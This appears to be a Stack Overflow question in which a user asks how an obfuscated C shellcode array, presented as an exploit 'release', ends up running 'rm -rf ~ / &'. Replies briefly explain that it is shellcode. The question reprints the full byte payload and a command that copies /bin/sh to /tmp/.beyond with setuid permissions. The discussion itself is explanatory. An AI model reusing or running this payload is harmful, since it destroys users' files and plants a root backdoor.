2

How does the following malicious command become rm -rf ~ / & when compiled?

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
2
  • 1
    Just try to compile a small code like system("ls") and look into its assembly content.
    – Eddy_Em
    Sep 23, 2013 at 4:53
  • I don't know assembly :(
    – Demi
    Sep 23, 2013 at 5:00

1 Answer 1

2

It's called shellcode.

Basically the hex codes are determined from the assembled machine code and correspond to byte locations of Linux system calls.

2
  • How does the code even compile without an error like "undefined reference to 'main'"?
    – Demi
    Sep 23, 2013 at 5:03
  • @Demetri, that's quite simple: this variable is assembly code that's running when you run your compiled program.
    – Eddy_Em
    Sep 23, 2013 at 5:05

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .